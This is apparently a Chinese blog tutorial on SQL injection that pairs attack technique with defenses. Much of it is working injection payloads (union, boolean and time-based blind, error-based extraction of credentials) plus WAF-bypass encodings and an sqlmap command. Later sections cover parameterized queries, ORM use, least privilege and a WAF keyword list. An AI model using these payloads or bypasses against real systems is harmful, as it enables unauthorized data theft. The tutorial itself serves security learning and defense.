mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
765 字
2 分钟
SQL注入攻防实战:从原理到防御
2026-06-09

SQL注入攻防实战:从原理到防御#

一、什么是SQL注入#

SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在应用程序的输入中插入恶意SQL语句,从而欺骗服务器执行恶意的SQL代码。

1.1 攻击原理#

用户输入 --> 应用程序 --> SQL查询 --> 数据库
|
└── 恶意SQL片段 --> 拼接到查询中 --> 执行恶意操作

1.2 攻击危害#

  • 数据泄露:读取数据库中的敏感数据
  • 数据篡改:修改或删除数据库数据
  • 权限提升:获取管理员权限
  • 远程命令执行:在某些情况下可执行系统命令

二、SQL注入类型#

2.1 按注入点分类#

类型说明示例
数字型参数为数字id=1id=1 OR 1=1
字符型参数为字符串name='admin'name='admin' OR '1'='1'
搜索型模糊查询keyword=testkeyword=test%' OR 1=1--

2.2 按获取方式分类#

类型说明特点
联合注入使用 UNION SELECT直接获取数据
布尔盲注通过页面返回判断逐位获取数据
时间盲注通过延时判断适用于无回显
报错注入利用错误信息通过报错获取数据
堆叠注入执行多条语句可执行任意SQL

三、攻击手法详解#

3.1 联合注入#

前提条件:页面有数据回显

步骤

-- 1. 判断字段数
?id=1 ORDER BY 1-- -
?id=1 ORDER BY 2-- -
?id=1 ORDER BY 3-- - # 报错说明字段数为2
-- 2. 判断回显位置
?id=-1 UNION SELECT 1,2-- -
-- 3. 获取数据库信息
?id=-1 UNION SELECT 1,database()-- -
?id=-1 UNION SELECT 1,version()-- -
-- 4. 获取所有数据库名
?id=-1 UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata-- -
-- 5. 获取表名
?id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='target_db'-- -
-- 6. 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -
-- 7. 获取数据
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password) FROM users-- -

3.2 布尔盲注#

适用场景:页面只有真/假两种状态

-- 判断数据库名长度
?id=1 AND LENGTH(database())=8-- -
-- 逐位获取数据库名
?id=1 AND ASCII(SUBSTR(database(),1,1))>100-- -
?id=1 AND ASCII(SUBSTR(database(),1,1))=116-- - # 't'
-- 使用二分法提高效率
?id=1 AND ASCII(SUBSTR(database(),1,1))>96-- - # 真
?id=1 AND ASCII(SUBSTR(database(),1,1))>112-- - # 假
?id=1 AND ASCII(SUBSTR(database(),1,1))>104-- - # 假
?id=1 AND ASCII(SUBSTR(database(),1,1))>100-- - # 真
?id=1 AND ASCII(SUBSTR(database(),1,1))=101-- - # 'e'

3.3 时间盲注#

适用场景:无任何回显

-- 判断数据库名长度
?id=1 AND IF(LENGTH(database())=8,SLEEP(5),0)-- -
-- 逐位获取数据库名
?id=1 AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),0)-- -
-- 使用SQLMap
sqlmap -u "http://target.com/?id=1" --technique=T --time-sec=5

3.4 报错注入#

利用函数extractvalue()updatexml()floor()

-- extractvalue()
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -
-- updatexml()
?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
-- floor()
?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT database()),0x7e,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

四、WAF绕过技术#

4.1 大小写绕过#

?id=1 UNION SELECT 1,2-- -
?id=1 uNiOn SeLeCt 1,2-- -

4.2 双写绕过#

?id=1 UNIUNIONON SELSELECTECT 1,2-- -

4.3 编码绕过#

-- URL编码
?id=1 %55%4E%49%4F%4E %53%45%4C%45%43%54 1,2-- -
-- Hex编码
?id=1 UNION SELECT 0x31,0x32-- -
-- Base64编码
?id=1 UNION SELECT FROM_BASE64('MQ=='),FROM_BASE64('Mg==')-- -

4.4 注释绕过#

?id=1 /*!UNION*/ /*!SELECT*/ 1,2-- -
?id=1 /**/UNION/**/SELECT/**/1,2-- -

4.5 空格绕过#

-- 使用括号
?id=1 UNION(SELECT(1),(2))-- -
-- 使用注释
?id=1/**/UNION/**/SELECT/**/1,2-- -
-- 使用其他空白符
?id=1%0aUNION%0aSELECT%0a1,2-- -

五、防御方案#

5.1 参数化查询(推荐)#

PHP PDO

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
$user = $stmt->fetch();

Python

cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Java PreparedStatement

String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();

5.2 输入验证#

def validate_input(value):
# 只允许数字
if not value.isdigit():
raise ValueError("Invalid input")
return int(value)

5.3 使用ORM#

# Django ORM
User.objects.filter(id=user_id)
# SQLAlchemy
session.query(User).filter(User.id == user_id)

5.4 最小权限原则#

-- 为Web应用创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON target_db.* TO 'webapp'@'localhost';
-- 不要授予 DROP, DELETE, ALTER 等危险权限

5.5 WAF防护#

配置WAF规则拦截常见SQL注入特征:

  • UNION SELECT
  • OR 1=1
  • DROP TABLE
  • INFORMATION_SCHEMA

六、实战案例#

6.1 案例:参数加密SQL注入#

场景:目标网站对参数进行了加密处理

攻击步骤

  1. 分析加密算法(AES/MD5)
  2. 获取加密密钥
  3. 构造恶意payload
  4. 加密后发送请求

防御建议

  • 加密不能替代参数化查询
  • 使用HTTPS传输
  • 服务端二次验证

七、工具推荐#

工具用途特点
SQLMap自动化注入功能强大
Burp Suite手动测试灵活可控
Havij自动化注入界面友好
NoSQLMapNoSQL注入专门针对NoSQL

八、总结#

8.1 防御要点#

  1. 参数化查询:最有效的防御手段
  2. 输入验证:白名单优于黑名单
  3. 最小权限:限制数据库用户权限
  4. 错误处理:不要暴露数据库错误信息
  5. WAF防护:增加一层防护

8.2 学习建议#

  1. 搭建本地靶场练习(如 SQLi-labs)
  2. 阅读OWASP Top 10文档
  3. 参加CTF比赛积累经验
  4. 关注最新的绕过技术

参考资料

声明:本文仅用于安全学习和研究,请勿用于非法用途。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

SQL注入攻防实战:从原理到防御
https://lansame.top/posts/sqli-attack-defense/
作者
Lansame
发布于
2026-06-09
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录